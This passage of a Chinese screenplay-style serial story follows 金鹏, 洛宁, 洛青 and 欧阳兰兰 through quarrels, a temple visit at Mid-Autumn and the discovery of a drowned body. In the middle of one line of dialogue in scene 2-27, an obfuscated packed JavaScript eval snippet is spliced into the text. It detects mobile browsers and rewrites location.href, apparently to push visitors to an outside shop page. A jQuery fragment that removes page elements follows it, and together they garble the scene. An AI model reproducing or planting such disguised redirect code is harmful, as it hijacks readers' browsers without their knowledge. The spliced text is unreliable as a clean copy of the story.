金鹏:(意外)哦,你这么快就知道了? 银华:欧阳兰兰这边跟你吵完了架,那边就去找宁儿告状了,她还要紫旭把你哥给换掉…… 金鹏:(吓了一跳)啊!那紫旭答应了吗? 银华:瞧把你吓得,脸色都变了!(拍拍金鹏的肩膀安慰)别担心!你哥在园子里干活儿,是洛老大的主意,又不是他的主意,人才来了没几天,如果要换掉的话,总得有个理由吧?欧阳兰兰虽然蛮横,却只敢在他面前撒泼,当着洛老大的面,她连提都不敢提。 金鹏:(这才松了口气)哦,那就好。那个……洛姑娘怎么说? 银华:她呀,还能怎么说?无非是三言两语敷衍一下罢了!欧阳兰兰的性子,咱们大家都清楚,她是从来不肯吃一丁点儿亏的。以后你若再遇上她,要么就像今天这样,接着怼她,让她休想占着你一丁点儿的便宜;要么…… 话没说完,身后传来一个女子的声音。 洛青:银华,你可真会教啊!照你这个办法,不出三个月,他们兄弟俩就要卷铺盖走人了! 二人回头一看,只见一个下巴尖尖、脸蛋圆圆、眉心上有一颗红痣的女子,正不悦地瞪着他俩。 银华:呀,青姑娘,你怎么也学会偷听了? 洛青:幸好被我听见了,不然的话,我又怎么会知道是你在中间捣鬼!哼! 金鹏:(悄悄地问银华)银华,这位是……? 银华:宁儿的姐姐。 金鹏:(忙对洛青点头作礼)噢,大小姐好! 洛青:(将目光转向金鹏)你就是金鹏? 金鹏:哦,是啊。 洛青:你今年多大岁数? 金鹏:(微微一怔)额? 银华:他跟我同岁。 洛青:这么说,你俩的岁数加起来已经有四十岁了,却还在商量着怎么欺负一个十五岁的小姑娘…… 银华:四十岁?等等!青姑娘,你这个算法儿,好像不太对吧? 洛青:哪里不对了?你俩的岁数加起来不就有四十岁了吗?欧阳兰兰不就只有十五岁吗?两个大的,欺负一个小的;两个男的,欺负一个女的;两个会功夫的,欺负一个不会功夫的…… 银华:(摆手打断)得得得,青姑娘,你别说了,我明白你的意思了!(冲金鹏使了个眼色)金鹏,听见没?以后咱们再见着欧阳兰兰,千万要躲远点儿,免得人家说咱们倚老卖老、恃强凌弱!哼! 2-21 天地会总会,听雨轩(夜,内) 人物:洛宁、银华、金鹏 银华和金鹏来到听雨轩,将在路上碰见洛青的事讲给洛宁听了。 洛宁:难怪我姐总说手头紧,弄了半天她的账都是这么算的呀! 银华:呵呵,你爷爷把□□交给你姐来打理,估计就是看上了她这个本事。 金鹏:唉,还是我哥说得对,像欧阳兰兰这样的人,咱们惹不起! 洛宁:不是惹不起,而是应该换一种方式跟她相处。今天的事,她有错,难道你就没错吗?一言不合就要打人家,脾气这么爆,早晚一天会吃亏! 银华:他今儿不就吃亏了吗? 金鹏:唉,你俩说得没错,我这个脾气是得改一改了。 洛宁:你打算怎么改? 金鹏:这个……我还没想好呢! 洛宁:要不我给你推荐一个榜样? 金鹏:谁呀? 洛宁:你们的风老大呀! 银华:呵呵,没错!风老大的脾气,在四位堂主里面可是最好的。连龚老大都有被惹急眼的时候,他却没有。 洛宁:无行大哥的脾气虽好,却也不是任人欺负。你看在总会里,有谁敢不尊重他?有谁敢不把他放在眼里?温和又不失威严,这就是他的魅力所在! 银华:(嘀咕)可惜他偏偏看上了你姐…… 洛宁:(两眼一瞪)银华,你给我闭嘴! 银华嘻嘻一笑。 金鹏:洛姑娘,您说得极是,以后我就向风堂主学习! 洛宁:你也跟银华一样,叫我宁儿吧!我听银华说,你想学画画? 金鹏:哦,对呀,就是不知道您肯不肯教我? 洛宁:画画对你来说,倒也是件好事,至少能让你的心静下来。 银华:金鹏,听见没?这丫头答应了! 金鹏:(大喜)是吗?那可真是太好了!嘿嘿! 2-22 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 得知金鹏要跟洛宁学画画,余守泰笑了起来。 余守泰:还是人家洛姑娘会说话,她说的话你最受用!以前,我苦口婆心地说上十句百句,你一句也听不进去;可现在,人家洛姑娘一开口,你立马就怂了。 金鹏:什么叫怂了?人家说得有道理,我自然愿意听。 余守泰:这可是个机会,你一定要把握好。 金鹏:什么意思? 余守泰:学画画呀!今儿你跟我去木兰小院,不就是为了见她一面吗?你一个新来的弟子,若天天去找她,肯定不合适;但现在不一样了,她愿意教,你又愿意学,你俩就算天天在一起,也没人会说什么。 金鹏:这样的话,银华会不会生气呀? 余守泰:是他让洛姑娘教你的,他生什么气呀? 金鹏:(憨厚地笑了)嘿嘿,好像是啊。 余守泰打开柜子,从里面拿出一样东西递给金鹏。 余守泰:来来来,把这个带在身上! 金鹏:什么东西? 余守泰:香囊啊! 金鹏:香囊?这不是女人身上的东西吗?我不带! 余守泰:什么女人身上的东西?这东西不分男女,都一样能带!你瞧人家陆公子…… 金鹏:(一口打断)总会里有人带吗? 余守泰:有啊!那日咱们在湖边碰见的寒公子,他身上不就有一股子味儿吗? 金鹏:他是大夫,天天跟药材打交道,身上难免会有一股子味儿。 余守泰:可那味儿闻着让人舒服呀!当时我就想,如果在你身上也能有一股子味儿的话…… 金鹏:我身上也有啊! 余守泰:也有?我闻闻。(凑到金鹏的身边嗅了嗅) 金鹏:(笑着问)怎么样?闻到了没? 余守泰:(皱起眉头)好像只有一股子汗味儿? 金鹏:汗味儿不也是味儿嘛!哈哈! 12. 第二篇 总会的四个堂 梁州,凤凰城 2-23 洛府,厨房(日,内) 人物:洛青、寒冰、欧阳兰兰 中秋将至,洛青正忙着做月饼,寒冰来找她,手里拿着一样东西。 寒冰:青姑娘,这是你要的千年人参。 洛青:是吗?都说千年人参不好找,没想到你这么快就找到了! 寒冰:这回又是谁病了? 洛青:哦,是二娘的大哥。 寒冰:下回呢?是不是她的妹妹也要病了?要不要我再弄些虫草? 洛青:(不高兴地)寒冰,你在说什么呀? 寒冰:(轻轻一笑)我只是觉得,二娘的兄弟姐妹,一个个都是多灾多病之身,唉,真是太可怜了! 欧阳兰兰从外面进来,脸上挂着笑。 欧阳兰兰:青姐姐,你猜我刚才路过听雨轩时,看见了什么? 洛青:什么? 欧阳兰兰:那个穷鬼竟然跟宁姐姐肩并肩坐在一块儿、有说有笑,他俩的样子,给人感觉就像一对儿…… 洛青:(不高兴地打断)欧阳兰兰,别胡说!宁儿只是在教金鹏画画而已! 欧阳兰兰:只是?噢,这么说,是我想多了?(故意叹了口气)唉,青姐姐,你说这爹娘不在身边,到底是好事还是坏事呢?就像他俩这样,我爹和我娘是绝对不会让我干的! 寒冰:欧阳兰兰,如果此时此刻,跟宁儿肩并肩坐在一块儿、有说有笑的人是你哥,你还会这么说吗? 欧阳兰兰:(脸倏地一沉)寒冰,你什么意思?拿一个穷鬼跟我哥相提并论,他配吗? 寒冰:欧阳兰兰,你一口一个穷鬼,说白了,真正让你看不惯的不是这件事,而是金鹏这个人,对不对? 洛青:(冲寒冰使了个眼色)寒冰,你少说两句!(又对着欧阳兰兰)兰兰,我做了些月饼,你要不要尝尝? 欧阳兰兰:(白了寒冰一眼,对着洛青)青姐姐,虽然我知道你的手艺好,可你们家又不是没有厨子,哪里用得着你亲自动手呀? 洛青:这些月饼是送给亲朋好友的,我自己做的话,更有诚意。 欧阳兰兰:有没有莲蓉馅儿的? 洛青:有啊。 欧阳兰兰:给我来一个。 洛青挑出一个莲蓉馅儿的月饼,递给欧阳兰兰,欧阳兰兰只轻轻地咬了一口,在嘴里嚼了两下之后,便吐掉了。 洛青:兰兰,怎么了?这月饼不好吃吗? 欧阳兰兰:挺好吃啊! 洛青:那你为何要吐掉? 欧阳兰兰:像这种吃一口胖三斤的东西,我向来只尝个味儿,从不会真吃。 洛青:你……唉,明白了。 2-24 洛府,木兰小院,洛宁的屋子(夜,内) 人物:洛宁、洛青 洛宁回来时,洛青正在屋里等着她。 洛青:宁儿! 洛宁:咦,姐,你怎么来了? 洛青:有件事,我想跟你商量一下。 洛宁:什么呀? 洛青:你教金鹏画画的事,能不能算了? 洛宁:怎么?又有人在你面前嚼舌根儿了? 洛青:他一个新来的弟子,你跟他走得这么近,难免会有人说闲话。 洛宁:那你让温公子教我弹琴的事,又该怎么说? 洛青:温公子出身书香门第,自幼饱读诗书,领受圣贤教诲,他的人品毋庸置疑。 洛宁:照你这么说,若非出身书香门第,人品就有问题了?姐,坊间有一则关于我哥的传闻,你想不想听呀? 洛青:宁儿,我在跟你说正事呢! 洛宁:想不想听呀? 洛青:唉,你说吧。 洛宁:传闻,凤凰城里半数的女人……(故意顿了顿) 洛青:怎样? 洛宁:都跟我哥有染! 洛青:(打洛宁)死丫头,不学好!这种话你也敢听?就不怕脏了自己的耳朵? 洛宁:(一边躲闪一边哈哈大笑)姐,等我哥回来了,你是不是也该去骂他一顿呀?哈哈哈! 2-25 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 见桌上放着两个盒子,金鹏好奇地问余守泰。 金鹏:哥,这是什么? 余守泰:过几日就是中秋了,我在福临门里买了两盒月饼。 金鹏:这回你又打算给谁送礼?洛堂主还是紫旭? 余守泰:这回谁都不送,咱们哥俩自己吃! 金鹏:自己吃? 余守泰:(点点头)对呀。以往每年的中秋,咱们哥俩忙着挣钱,从没好好地过一过。今年不一样了,咱们哥俩有钱了,不妨也学学那些大户人家,置办一桌酒席,全家人坐在一块儿,美美地吃上一顿…… 金鹏:可我明儿要跟风堂主出一趟远门,中秋那天怕是赶不回来。 余守泰:啊,这么巧? 金鹏:对呀,你还是自己吃吧! 余守泰:你们要去哪儿? 金鹏:盛州。 余守泰:盛州?嗯,是有点儿远。你们去那儿干什么? 金鹏:威武帮的老帮主死了、新帮主刚刚上任,我们这次去,是给他送贺礼的。 余守泰:威武帮? 金鹏:对呀,你应该听说过吧?他们在盛州那一带挺有名的。 余守泰:有名归有名,却也没法跟天地会比。 金鹏:呵呵,那是当然。 余守泰:那你这次去了,应该能结识不少帮派的人吧? 金鹏:我听何平说,盛州那一带大大小小的帮派,但凡跟威武帮有过交集的,这次都要去。 余守泰:这可是个机会,你一定要把握好。 金鹏:(皱起眉头)哥,你怎么成天都把机会挂在嘴上呀? 余守泰:因为老天爷不公平呀!对于像陆公子那样有钱有势的人来说,机会时时处处都有;可对于咱们这些寻常人来说,机会却是可遇而不可求。就拿这些帮派的人来说吧,以前你想结识他们,有机会吗?但现在不一样了,你是和敬堂的人,想结识他们,有的是机会!只要跟他们搞好了关系,哪怕以后你离开了天地会…… 金鹏:(不高兴地打断)哥,我才来没多久,你就在说离开的事,想得也太远了吧? 余守泰:一点儿也不远!这就好比下棋,人家是走一步看一步,你却是走一步看十步,谁赢的机会大些? 金鹏:又是机会?哥,你若真有这闲工夫,不如先琢磨下怎样才能让花树开出更多的花儿来吧! 梁州,洪福寺 2-26 马车车厢(日,内) 人物:洛宁、洛青、欧阳兰兰、曾丽丽、银华、洛宏、洛元恒及其弟子、乔捕头及其手下、香客若干 洪福寺,是梁州境内历史最悠久的古刹。适逢中秋佳节,各地前来礼佛的信众非常多,将通向寺院的道路,挤得水泄不通。洛元恒与庙里的无畏法师是多年的好友,这一天,他也带着洛宏、龚尚等人,前来拜访。洛宏的岁数与顾云飞差不多,着一身华袍,贵气逼人。 洛宁:(不耐烦地)唉,怎么有这么多人?早知道我就不来了! 洛青:你是去拜佛,就不能诚心点儿吗? 欧阳兰兰:(嘻嘻一笑,指着不远处的一辆马车)宁姐姐,你瞧! 顺着她手指的方向,洛宁看见那辆马车里,坐着一位衣着素净的年轻女子。 洛宁:(问欧阳兰兰)谁呀? 欧阳兰兰:她叫曾丽丽,是富春城里出了名的大美人儿,去年宫中选秀,她差点儿就被送进去了。 洛宁:差点儿?什么意思? 欧阳兰兰:意思就是她长着一张贵妃娘娘的脸,却没有当贵妃娘娘的命! 洛青:哦,为何?是出身不好吗? 欧阳兰兰:她的祖上曾被先皇封为万户侯,这样的出身,可谓十分显赫。 洛宁:那又是为何?难不成她有什么毛病? 欧阳兰兰:(白了洛宁一眼)宁姐姐,不是谁都像温公子那样,红颜薄命。 洛青:我看她的样子,温婉娴静、落落大方,应该也是有着良好教养的大家闺秀了。 欧阳兰兰:什么大家闺秀?就凭他们家那点儿东西,顶多只能算一个小家碧玉!你别看她穿得挺光鲜,里面的衣裳可都是打着补丁的! 洛宁:欧阳兰兰,你这个嫌贫爱富的老毛病又犯了! 欧阳兰兰:我说的可是真的!他们家的祖上虽然显赫,可到了他们这一代,早就没落了。 洛宁:不是有句话叫瘦死的骆驼比马大吗? 欧阳兰兰:他们家的这只骆驼,已经瘦成皮包骨了!前阵子她哥还厚着脸皮找我哥借钱,张口就是一千两银子,把我哥吓了一跳。 洛青:她哥借这么多钱干嘛? 欧阳兰兰:说是要给她置办嫁妆。 洛宁:你哥借给他了吗? 欧阳兰兰:借什么呀!这十里八乡谁不知道她的父兄是出了名的败家子,向来有借无还、毫无诚信可言,就连他们家的亲戚也都远远地躲着他们,没人愿意跟他们来往。 洛青:这么好的一个女孩子,怎么遇上了这样一对父兄,真不幸呀! 洛宁:话虽如此,可我听说宫里的皇上连孙子都有了,她这个岁数嫁给他,也未必能幸福。 欧阳兰兰:其实她也没想过要进宫,只是她的父兄逼着她这么做。 洛宁:怎么回事? 欧阳兰兰:她在选秀之前,就已经与人订有婚约,为了能将她送进宫里,她的父兄刻意隐瞒了这件事,却不料被男方知道了,将他们告上了官府,这才不得不作罢。 洛青:虽然没能进宫,如果能嫁给一个与自己岁数相仿又情投意合的男子,岂不是因祸得福? 欧阳兰兰:唉,青姐姐!你总说我天真,现在看来,你比我更天真! 洛青:什么意思? 欧阳兰兰:如果能嫁给一个与自己岁数相仿又情投意合的男子,当然是件好事。只可惜这个曾丽丽,天生就是嫁给糟老头子的命!她性情柔弱,从小到大,所有的事情都是她的父兄在替她做主。与她订有婚约的男子,名叫秦子陌,人倒是不错,自幼饱读诗书、学识渊博,只可惜运气不太好,几次参加考试都未能得中,如今在学堂里当教书先生。他的家里,原本也是书香门第,只是到了他这一代,历经几次变故之后,已然穷困潦倒,靠给人打长工、干农活为生。虽然曾丽丽对此并不计较,但曾丽丽的父兄,见秦子陌家中的境况如此窘迫,早就动了悔婚的念头,只是一直没遇上合适的人选。前阵子魏员外托媒婆上门提亲,父兄二人见对方财大气粗,立马就答应了,并且找到了秦子陌,逼着他退婚;虽然秦子陌坚决不肯,怎奈父兄二人这回是铁了心,非要把曾丽丽嫁给魏员外不可。 洛青:魏员外?是不是那个富春城的魏员外? 欧阳兰兰:正是。 洛青:天哪!他的岁数,当曾丽丽的爷爷都绰绰有余,更何况他已经娶了六房的妻妾了! 欧阳兰兰:是啊!如果曾丽丽嫁给他,就是他的七姨太了! 洛宁:这么一大把年纪了,还在打人家小姑娘的主意,真是老牛吃嫩草,恬不知耻啊! 洛青:曾丽丽愿意吗? 欧阳兰兰:她当然不愿意了!可是经不起她的父兄软磨硬泡、以死相逼,最后不得不答应了这门婚事。 洛宁:这么容易就答应了?太没骨气了吧!换做是我,早就跟秦子陌私奔了! 洛青:(打洛宁)去你的,还私奔呢!你以为人人都像你这样只顾自己吗?不管是曾丽丽还是秦子陌,他们都有家人,男婚女嫁,不仅仅是两个人之间的事情,更是两家人的事情,并不是自己想怎样就能怎样的! 欧阳兰兰:我倒是觉得宁姐姐说得对!这件事关系到自己一辈子的幸福,与其嫁给一个看上去就讨厌的糟老头子,还不如跟秦子陌私奔了呢! 洛宁:哈哈哈,听见没?二比一,我们赢了! 洛青:(连打了洛宁几下)死丫头,不学好!(对着欧阳兰兰)兰兰,你以后少跟她在一起,免得被她带坏了! 从后面过来几个公差,路人见状,都自觉地让出一条道来。 洛宁:(从车窗里探出头)咦?这不是乔捕头吗?你们怎么也来了? 乔捕头:洛姑娘,原来你在这里!大人正在找你呢! 洛宁:怎么?有事吗? 乔捕头:刚刚接到报案,前面的河里发现了一具浮尸,大人命我们先过去,他一会儿就到。 洛宁:是吗?那我跟你们一起去!(说着就要下车,被洛青拦住) 洛青:宁儿,你干什么呀?我们还要去寺院呢! 洛宁:公事要紧!你们先去吧,我忙完了就过来! 见洛宁从马车上下来,银华也从马背上跳了下来。 银华:我跟你一起去! 洛宁:好啊! 洛青:(冲着洛宁喊)喂!你今天才穿的新衣裳,别弄脏了! 洛宁:知道啦! 洛宏:妹儿,小心点儿! 洛宁:放心吧,哥哥! 洛宁、银华跟着乔捕头挤进了人流里,很快便不见了踪影。 2-27 河岸上(日,外) 人物:洛宁、银华、张正清、黄毅、曾丽丽、乔捕头及其手下、百姓若干 尸体已经被打捞了上来,公差将附近围住,几个胆大的人站在外面看热闹。 进去之前,洛宁把外衣脱了下来。 银华:喂,你怎么把衣裳脱了? 洛宁:不脱不行呀,弄脏了又要被我姐骂。 银华:现在可不是夏天了,你这样只穿着一件单衣,会着凉的。 洛宁:不会,放心吧!姑娘我每天那么多的肉可不是白吃的,身体壮实着呢! 银华:那你小心点儿! 洛宁:好嘞!(刚要进去,又被银华叫住) 银华:等等! 洛宁:怎么了? 银华:(从随身的荷包里抓出一把糖)来颗糖! 洛宁:(拿起一颗放进嘴里)你这个家伙,怎么这么爱吃糖呀? 银华:(朝尸体那边努努嘴)我一看见这些东西,就忍不住想吃!哈哈! 洛宁进去后,银华站在外面,目不转睛地盯着她。 从远处过来一队人马,为首的男子三十出头,穿着官服,神情严肃,眉宇间流露出一股英武之气,看上去沉稳又干练;在他的身后,紧跟着一位白衣少年,十八九岁的模样,面如皓月,神采飞扬。 银华:(朝身穿官服的男子挥挥手)张督察! 张正清:(冲着银华点点头,从马上下来)那丫头呢?来了没? 银华:(指了指洛宁)在那儿呢! 张正清:嗯,好,那我先过去了。 银华:嗯,您忙吧! 张正清快步走到洛宁跟前,见她衣衫单薄,先是脱下披风给她系上,说了两句话之后,又蹲下身,仔细地查看尸体。白衣少年站在他身后,怯怯地望着尸体。过了一会儿,估计是忍不住了,他飞快地跑出来,在一棵树下呕吐不止。 银华:(望着白衣少年笑)呵呵,又是一个新手。 现场勘验完毕,公差将尸体运回督察府。张正清跟洛宁道别之后,便带着白衣少年离开了。 洛宁又回到了银华身边。 银华:情况怎么样? 洛宁:尸体应该是从上游漂过来的,到底怎么死的,要等验过尸之后才能知道。 她瞟了一眼不远处,发现曾丽丽站在山坡上,一动不动地望着这边。当发现洛宁也在看她时,她一扭身走了。 银华:那你这几天岂不是又要忙了? 洛宁:(只顾着去看曾丽丽)额…… 银华:(手在她眼前晃了晃)喂!你在想什么呀?我问你话呢! 洛宁:(回过神来)哦,是啊!下午还要去督察府。 银华:今儿可是中秋! 洛宁:张大人发话了,谁敢不去呀? 银华:唉,张督察可真是个急性子呀!罢了,咱们先去寺院吧,你姐还在等着你呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007359|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 洛宁:(皱起眉头)唉,又要吃斋饭,一点儿油水都没有,怎么干活呀? 银华:回去的路上,我给你买只烤鸭带上,这样就不会饿着了。 洛宁:还有山楂球,要味道偏酸的那种。 银华:上次我不是给你买了满满的一大罐吗?这么快就吃光了? 洛宁:对呀。 银华:那种东西还是少吃点,免得把牙酸掉了。 洛宁:我吃的不多,都被田佳吃了。 银华:(没好气地)她想吃的话,让她自己买去,凭什么让我给她跑腿儿! 洛宁:别那么小气嘛!平常我想吃什么,人家也会买给我。礼尚往来嘛! 银华:唉,好吧! 2-28 洪福寺,斋堂(日,内) 人物:洛宁、洛青、欧阳兰兰、寺院住持的老婆和女儿、香客若干 拜完佛,洛宁、洛青和欧阳兰兰在庙里为在家女众准备的斋堂内吃午饭,为她们端茶送水的是一位年轻的小姑娘。 洛宁:这姑娘是谁?以前好像没见过呀! 洛青:她是住持的女儿。 洛宁:(吃惊)住持的女儿?住持不是出家人吗?他何时成的亲?又是何时生的孩子? 洛青:住持出家之前,成的亲、生的孩子。以前给咱们端茶送水的是她娘,如今她也长大了,所以就过来给她娘帮忙了。 洛宁:一家人都在庙里?这个住持到底是真出家还是假出家呀? 洛青:什么真的假的?出家之前,是一家人;出家之后,是同修的道友。有何不可? 洛宁:她们母女俩在庙里干活儿,有钱拿吗? 洛青:(白了洛宁一眼)都是自愿来帮忙的,谈钱多俗呀,你以为人人都像你一样财迷心窍啊! 洛宁吐了吐舌头,不再多问,见小姑娘的手上戴着一对金灿灿的镯子,又悄悄问欧阳兰兰。 洛宁:欧阳兰兰,你瞧她手上的那对镯子,像不像之前你在佛前供养的那对? 欧阳兰兰眯起眼仔细瞧了瞧,脸色顿时变得有些难看。 欧阳兰兰:哼,什么像不像,根本就是嘛! 洛宁:啊!真是你的呀? 欧阳兰兰:我自己的东西,怎么会不认识?那日我明明亲手将这对镯子供在了佛前,如今怎么会戴在了她的身上?哼,不用说,肯定是她偷的!连佛前的供品都敢偷,也不怕遭报应!哼,我这就去揭穿她!(正欲起身,却被洛青按住) 洛青:欧阳兰兰,你干什么呀?她可是住持的女儿! 欧阳兰兰:住持的女儿怎么了?住持的女儿就能偷东西了?越是像她这样的人,越是应该懂得庙里的规矩! 洛青:欧阳兰兰,你可不要忘了,你那对镯子已经供了佛,它们不再是你的了! 欧阳兰兰:就算不再是我的了,但也不能给她呀! 洛青:佛陀想赐给她,不行吗? 洛宁:(笑着打趣)呀,姐,你连佛陀心里想什么都知道呀? 洛青:上回咱们来寺院,住持不也将佛前的苹果分给你们吃了吗?那些苹果不也是别人供养的吗? 欧阳兰兰:苹果才值几个钱呀?我那对镯子可是纯金的!若不是今年犯太岁,我才舍不得上供呢! 洛青:欧阳兰兰,佛陀可没有你这样的分别心! 正说着,住持的老婆也来了,手里端着一个盘子,盘子里放着几串水晶念珠,给在场的几位年长的妇人,每人分发了一串。 住持的老婆:周夫人!王夫人!侯夫人!这是你们请的念珠,在佛前供养了好一阵子,又得僧众早晚念经加持,力量不可思议!你们每日拿着它念佛,一定能心想事成! 几位妇人听了,都十分欢喜,把念珠当宝贝一样揣进怀里,又各自拿出一两银子,赏给住持的老婆。 洛宁:姐,如果我没记错的话,这水晶念珠不是你供养的吗?你买了一百串,每串一钱银子,对不对? 欧阳兰兰:(忍不住笑了)呵呵,不过是出了城门、进了庙门,就变成了每串一两银子,这洪福寺果然是个风水宝地呀! 洛青:(板起脸)你们两个胡说什么呢!你们也不瞧瞧,这几位夫人多虔诚呀!我当初供养念珠的目的,就是希望能把它们送给有缘人,如今得偿所愿,钱不钱的已经不重要了。更何况,那一两银子是她们自愿给的,她又没问她们要…… 洛宁:(嘻嘻一笑,问住持的老婆)这位大婶,这水晶念珠可真漂亮,我也想给自己的家人请几串,请问还有吗? 住持的老婆:有啊!当然有了!姑娘想请几串? 洛宁:三串怎么样?要多少钱? 欧阳兰兰:(故意大声地)宁姐姐,你想多了!这水晶念珠是用来结缘的,不要钱! 住持的老婆:虽说不要钱,可也有个条件。 洛宁:什么条件? 住持的老婆:须在一年内念满十亿遍佛号。 洛宁:十亿遍?还要在一年内?那我要是念不满呢? 住持的老婆:姑娘也可以请师父们帮忙念,功德同样殊胜,只需作少许供养便可。 洛宁:这个办法倒是可行,怎么供养? 住持的老婆:每位师父每天一钱银子,连续不断地念上一年,自然就圆满了。 欧阳兰兰:庙里有多少位师父? 住持的老婆:不下百人。 欧阳兰兰:(扑哧一笑,轻声对洛宁)宁姐姐,你可要考虑清楚了,这笔钱若是出了,可就真成大傻子了! 洛青:欧阳兰兰,你懂什么!请僧众念经,可是积福消业的大好事儿! 住持的老婆:这位姑娘说得极是!寻常人请僧众念经,也不过三两位师父、几天的工夫就念完了;哪像这个,不仅每位师父都要念、还都要念上整整一年呢!这功德,怕是连佛陀都难以估量! 欧阳兰兰:如果给了钱,他们却没念呢?我又不可能天天过来盯着他们。 住持的老婆:出家人不打诳语!只要给了钱,就一定会念!(指着那几位妇人)姑娘瞧瞧这几位太太,不就是请师父们帮忙念的吗? 洛宁:照你这么说,师父们每天还真是挺忙啊!他们既要为天下的苍生祈福、还要替咱们这些善男信女念经,实在是太辛苦了!唉,罢了,我就不劳烦他们了! 住持的老婆:(微微一愣)哦?那姑娘还想不想请呢? 洛宁:不请了! 住持的老婆:(一脸的遗憾)这样啊,唉,真是太可惜了!要知道,这种事情可遇而不可求,能有幸结缘的,可都是有大福报的人! 洛宁:嗯,说得没错。(冲着洛青挤挤眼)难怪我这个人会见钱眼开,原来是福报不够呀! 洛青:(没好气地)既然知道自己福报不够,今日来寺院礼佛,为何还要空着手? 洛宁:我也上供了呀! 洛青:你供了什么?我怎么没看见? 洛宁:我在路边采了几朵小野花,插在佛前的供瓶里。佛陀说了,一花一世界,这种供养的功德,最为广大!嘻嘻! 2-29 洪福寺,前院(日,外) 人物:洛宁、洛宏、洛青、欧阳兰兰、龚尚、洛元恒及其弟子 吃过斋饭,一行人从斋堂里出来,一见到洛宏,洛宁便笑着扑进他怀里。 洛宁:哥哥! 洛宏:妹儿!怎么样?吃饱了没? 洛宁:不仅吃饱了,还看了一出好戏呢! 洛宏:哦,庙里也有戏看? 洛宁:戏是人扮的,只要有人的地方,就有戏看。 洛青:你这个丫头,又在胡说!(试图扯开洛宁)佛门清静之地,岂能像这样搂搂抱抱?还不快撒开手! 洛宁:(把洛宏搂得更紧了)我哥是男的,菩萨也是男的,菩萨都没吃醋,你吃什么醋啊? 洛青:你…… 龚尚:(笑着对洛元恒)呵呵,这个丫头,还是跟刚回来的时候一个样儿,一见到她哥就撒娇。 欧阳兰兰:唉,看见她这副样子,我也想我哥了。 洛青:你们这两个丫头,何时才能长大呀?唉! 13. 第二篇 总会的四个堂 梁州,凤凰城 2-30 督察府,前院(日,外) 人物:黄毅、欧阳兰兰 黄毅坐在屋子里,听见外面有人在叫。 欧阳兰兰(画外音):宁姐姐!宁姐姐!你在吗? 黄毅走出屋子,看见欧阳兰兰。 黄毅:这位姑娘,你找谁呀? 欧阳兰兰:嘻嘻,我找宁姐姐,她在吗? 黄毅:宁姐姐?是不是洛姑娘? 欧阳兰兰:对呀!(笑嘻嘻地打量黄毅)这位小哥哥,你是不是新来的呀?我以前好像没见过你呀! 黄毅:哦,是啊,我前阵子刚到这里。 欧阳兰兰:是吗?我叫欧阳兰兰,你叫什么名字呀? 黄毅:(上前作礼)小生黄毅,见过欧阳姑娘。 欧阳兰兰:黄公子是吗?这个姓在梁州这一带并不多见,你是不是从京城来的? 黄毅:欧阳姑娘说对了,在下正是从京城来的。 欧阳兰兰:宫里的皇上也姓黄,你该不会跟他是一家子吧? 黄毅:在下听说梁州的紫蔚城里有一个欧阳世家,姑娘该不会是从那里来的吧? 欧阳兰兰:嘻嘻,黄公子,你的眼光可真准,一下就看出来了! 黄毅:欧阳姑娘来找洛姑娘有事吗? 欧阳兰兰:倒也没什么紧要的事情,不过是想找她唠唠嗑罢了。 黄毅:洛姑娘这会儿不在,要不你改日再来? 欧阳兰兰:黄公子,你有空吗? 黄毅:(意外)我? 欧阳兰兰:对呀!你若有空的话,不如你来陪陪我吧。 黄毅:这…… 欧阳兰兰:唉呀,好渴!黄公子,能不能给我倒杯茶呀? 黄毅:哦,欧阳姑娘请稍等。 2-31 督察府,黄毅和乔捕头的屋子(日,内) 人物:黄毅、欧阳兰兰 黄毅转身进屋,却不料欧阳兰兰也跟着走了进来,大大方方地往椅子上一坐,就像在自己家里一样。 黄毅:(给欧阳兰兰倒茶)欧阳姑娘以前是不是经常来督察府? 欧阳兰兰:嘻嘻,没错,不过我不是来报案的。 黄毅:我听说洛姑娘的哥哥跟欧阳世家在一起做生意,你跟洛姑娘应该也是很要好的朋友吧? 欧阳兰兰:嘻嘻,她来凤凰城的第一天,我俩就认识了。 黄毅:我看你俩的岁数差不多,想必在一起时,也是无话不谈吧? 欧阳兰兰:提起这个,我倒想请你评评理。督察府里来了你这么一位大帅哥,她竟然对我只字未提,你说她该打不? 黄毅:哦,这…… 欧阳兰兰:不过黄公子,如果你肯请我吃饭的话,我也可以赦免她的罪。嘻嘻,黄公子,怎么样?今晚有空吗?不如咱们找个地方,好好地聊一聊…… 黄毅:那个……欧阳姑娘,张督察派我去县衙里拿文书,我差点儿把这事给忘了。你先坐着,我去去就回!(说完便飞快地溜走了) 欧阳兰兰:(望着他急匆匆的背影,悻悻地)不过是吃顿饭而已,竟把他吓成了这样,难不成是怕我把他给吃穷了?唉! 2-32 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:金鹏、余守泰 中秋过后,金鹏从盛州回来了。 余守泰:鹏子,怎么样?这一趟盛州之行,是不是收获颇丰啊? 金鹏:唉,别提了,糟糕透了! 余守泰:什么意思?难不成遇上了什么麻烦? 金鹏:若真遇上了什么麻烦,倒也是件好事。 余守泰:怎么了?你是不是做错了什么事,惹得风堂主不高兴了?你呀你,临走之前,我不是嘱咐过你吗?让你少说多做,用眼睛看、用耳朵听,千万别多嘴,你怎么就…… 金鹏:(打断)跟这个没关系! 余守泰:哦,那是什么?你快说呀! 金鹏:你知道这次各帮派去了多少人吗? 余守泰:多少人? 金鹏:足足有上千号人!他们轮番着给我敬酒,我是喝也不是、不喝也不是,难受死了!(伸出三个指头)整整三天三夜的工夫,我都是在醉了醒、醒了醉中间度过,幸好我的身子骨还算结实,有几个跟我岁数差不多的家伙,喝到最后竟然吐出血来,被送去了医馆里,差点儿连命都丢了。 余守泰:风堂主呢?他喝了多少? 